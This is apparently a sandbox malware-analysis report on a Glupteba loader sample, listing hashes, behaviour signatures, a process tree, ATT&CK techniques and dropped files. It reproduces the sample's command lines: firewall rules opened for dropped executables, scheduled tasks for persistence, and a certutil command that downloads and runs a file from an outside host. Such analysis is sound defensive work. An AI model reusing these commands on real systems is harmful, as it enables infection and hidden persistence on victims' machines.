Overview

overview

10

Static

static

3

82fb3b813b...18.exe

windows7-x64

10

82fb3b813b...18.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-05-2024 04:05

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General

  • Target

    82fb3b813bf6e7d81e2d77801966f1b6_JaffaCakes118.exe

  • Size

    3.8MB

  • MD5

    82fb3b813bf6e7d81e2d77801966f1b6

  • SHA1

    7c60d048b28306c148f3c70888482378e9b31912

  • SHA256

    9b888c58cb69540da46bfa817e90e5b3337255c296a4007ba0ba2a41b321edb2

  • SHA512

    5974cfe5b7c67252c304ee2fba89751d0c93c1514ae2a082f980a8ad15af92ce5e5c3215941280de1a01f648aa0b8c9b4dad55f1e43cd73c911f19518d4deced

  • SSDEEP

    98304:/N5Vqa6g56H7GLkOw20BAt7GuODszgvCU+F4WwFr:VqDRH7rO30BAxODVK9F4

Score
10/10
gluptebadiscoverydropperevasionloaderpersistencerootkit

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba payload 20 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
    evasion
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\82fb3b813bf6e7d81e2d77801966f1b6_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\82fb3b813bf6e7d81e2d77801966f1b6_JaffaCakes118.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:5052
    • C:\Users\Admin\AppData\Local\Temp\82fb3b813bf6e7d81e2d77801966f1b6_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\82fb3b813bf6e7d81e2d77801966f1b6_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2668
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5012
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:3656
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\954d3a726b3c\954d3a726b3c.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1088
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\954d3a726b3c\954d3a726b3c.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:4400
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3612
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:808
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:2468
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:3028
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1
T1053

Persistence

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Create or Modify System Process

1
T1543

Windows Service

1
T1543.003

Scheduled Task/Job

1
T1053

Privilege Escalation

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Create or Modify System Process

1
T1543

Windows Service

1
T1543.003

Scheduled Task/Job

1
T1053

Defense Evasion

Impair Defenses

1
T1562

Disable or Modify System Firewall

1
T1562.004

Modify Registry

2
T1112

Subvert Trust Controls

1
T1553

Install Root Certificate

1
T1553.004

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

1
T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

    Download Submit

  • C:\Windows\rss\csrss.exe
    Filesize

    3.8MB

    MD5

    82fb3b813bf6e7d81e2d77801966f1b6

    SHA1

    7c60d048b28306c148f3c70888482378e9b31912

    SHA256

    9b888c58cb69540da46bfa817e90e5b3337255c296a4007ba0ba2a41b321edb2

    SHA512

    5974cfe5b7c67252c304ee2fba89751d0c93c1514ae2a082f980a8ad15af92ce5e5c3215941280de1a01f648aa0b8c9b4dad55f1e43cd73c911f19518d4deced

    Download Submit

  • memory/2668-12-0x0000000000400000-0x000000000514F000-memory.dmp

    Filesize

    77.3MB

    Download

  • memory/3612-23-0x0000000000400000-0x000000000514F000-memory.dmp

    Filesize

    77.3MB

    Download

  • memory/3612-24-0x0000000000400000-0x000000000514F000-memory.dmp

    Filesize

    77.3MB

    Download

  • memory/3612-30-0x0000000000400000-0x000000000514F000-memory.dmp

    Filesize

    77.3MB

    Download

  • memory/3612-29-0x0000000000400000-0x000000000514F000-memory.dmp

    Filesize

    77.3MB

    Download

  • memory/3612-28-0x0000000000400000-0x000000000514F000-memory.dmp

    Filesize

    77.3MB

    Download

  • memory/3612-27-0x0000000000400000-0x000000000514F000-memory.dmp

    Filesize

    77.3MB

    Download

  • memory/3612-17-0x0000000000400000-0x000000000514F000-memory.dmp

    Filesize

    77.3MB

    Download

  • memory/3612-18-0x0000000000400000-0x000000000514F000-memory.dmp

    Filesize

    77.3MB

    Download

  • memory/3612-19-0x0000000000400000-0x000000000514F000-memory.dmp

    Filesize

    77.3MB

    Download

  • memory/3612-20-0x0000000000400000-0x000000000514F000-memory.dmp

    Filesize

    77.3MB

    Download

  • memory/3612-21-0x0000000000400000-0x000000000514F000-memory.dmp

    Filesize

    77.3MB

    Download

  • memory/3612-22-0x0000000000400000-0x000000000514F000-memory.dmp

    Filesize

    77.3MB

    Download

  • memory/3612-26-0x0000000000400000-0x000000000514F000-memory.dmp

    Filesize

    77.3MB

    Download

  • memory/3612-25-0x0000000000400000-0x000000000514F000-memory.dmp

    Filesize

    77.3MB

    Download

  • memory/5052-6-0x0000000000400000-0x0000000000B16000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/5052-1-0x0000000006DD0000-0x0000000007184000-memory.dmp

    Filesize

    3.7MB

    Download

  • memory/5052-2-0x0000000007190000-0x000000000788C000-memory.dmp

    Filesize

    7.0MB

    Download

  • memory/5052-3-0x0000000000400000-0x0000000000B16000-memory.dmp

    Filesize

    7.1MB

    Download

  • memory/5052-5-0x0000000007190000-0x000000000788C000-memory.dmp

    Filesize

    7.0MB

    Download

  • memory/5052-4-0x0000000000400000-0x000000000514F000-memory.dmp

    Filesize

    77.3MB

    Download